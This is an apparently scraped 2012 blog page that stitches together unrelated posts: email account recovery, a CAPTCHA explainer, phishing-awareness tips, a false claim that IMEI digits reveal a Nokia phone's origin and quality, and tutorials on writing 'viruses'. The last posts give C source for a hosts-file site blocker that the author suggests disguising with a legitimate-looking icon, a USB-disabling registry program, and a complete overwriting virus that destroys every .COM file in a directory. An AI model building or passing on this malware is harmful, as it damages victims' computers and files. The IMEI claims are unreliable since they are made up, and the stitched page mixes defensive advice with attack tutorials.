19 Mar 2012

What to Do When Your Email Account is Hacked?




For Gmail:

 
It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.
Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link
If you cannot find success from the Step-1 then proceed to Step-2.
 
Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like
1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…
You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link
 

For Yahoo and Hotmail:

 
Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option. 
To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.
I hope this post will help you recover the lost account

What is CAPTCHA and How it Works?

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.
 
Captcha
 
Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find a detailed information on how CAPTCHA works and why they are used.
 

What Purpose does CAPTCHA Exactly Serve?

CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.
 

What is the Need to Create a Test that Can Tell Computers and Humans Apart?

For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated softwares to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.
 

Who Uses CAPTCHA?

CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.
 

Designing a CAPTCHA System

CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even more harder for computers to figure out the patterns.
Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer. 
 

Breaking the CAPTCHA

The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.

How to Identify and Avoid Phishing Scams

Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.
With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.
Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.
 

Identifying a Phishing Scam

 
1. Beware of emails that demand for an urgent response from your side. Some of the examples are:
  • You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
  • In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.
2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.
3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:
  • papyal.com
  • paypal.org
  • verify-paypal.com
  • xyz.com/paypal/verify-account/
 

Tips to Avoid Being a Victim of Phishing

 
1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.
2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.
3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon Picture of the Lock icon in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN

Is your Nokia Cell Phone Original

Nokia is one of the largest selling phones across the globe. Most of us own a Nokia phone but are unaware of it’s originality. Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone’s originality.
Press the following on your mobile *#06# to see your Phone’s IMEI number(serial number).
Then check the 7th and 8th numbers
Phone serial no. x x x x x x ? ? x x x x x x x

IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality
IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality
IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland which is very Good
IF the Seventh & Eighth digits of your cell phone are 00 this means your cell phone was manufactured in original factory which is the best Mobile Quality
IF the Seventh & Eighth digits of your cell phone are 13 this means your cell phone was assembled in Azerbaijan which is very Bad quality and also dangerous for your health.

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

his virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?


Here is the sourcecode of the virus.
---------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
---------------------------------------------------------------------------------------------------------------

Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1                                google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program

How to Block a Website ?

Some times it becomes necessary to block a website on our Computers for one or other reason. You can easily and effectivily block access to a website by adding it to your Windows HOSTS file. Once the website is blocked in the HOSTS file, it will not appear in any of the browsers. That is, the website becomes completely unavailable.
1. Go to your HOSTS file which is located at:
C:\WINDOWS\SYSTEM32\DRIVERS\ETC for XP, Vista and Win 7
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME
2. Open HOSTS with Notepad.
The default Windows HOSTS looks like this:
______________________
# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________
3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:
127.0.0.1 name of the URL you want to block
For example to block the website MySpace.com, simply type:
127.0.0.1 myspace.com
127.0.0.1 www.myspace.com
Other parts of MySpace could be blocked in a similar way:
127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…
It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.
4. Close Notepad and answer “Yes” when prompted.
5. After blocking the website, test it in any of the browser. If every thing is done as said above,the website must not appear in any of the web browsers. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC)Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer

You need to compile them before you can run it

BLOCK USB
-------------------------------------------------------------------------------------------
#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
-------------------------------------------------------------------------------------------


UNBLOCK USB
------------------------------------------------------------------------------------------------
#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
-----------------------------------------------------------------------------------------------------------

Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

 To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

virus in C

 /* This is a simple overwriting virus programmed in Turbo C */
    /*  It will infect all .COM files in the current directory  */
    /*    Infections destroy the programs and cannot be cured   */
    /*   It was presented in Virology 101 (c) 1993 Black Wolf   */
    /*     FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!       */

    #include <stdio.h>
    #include <dos.h>
    #include <dir.h>

    FILE *Virus,*Host;
    int x,y,done;
    char buff[256];
    struct ffblk ffblk;

    main()
    {
     done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
       while (!done)               /* Loop for all COM's in DIR*/
        {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */

        x=9504;                               /* Virus size - must   */
                                              /* be correct for the  */
                                              /* compiler it is made */
                                              /* on, otherwise the   */
                                              /* entire virus may not*/
                                              /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
            {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
            }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
        }
                                              /* Activation would go */
                                              /* here                */
      return (0);                             /* Terminate           */
    }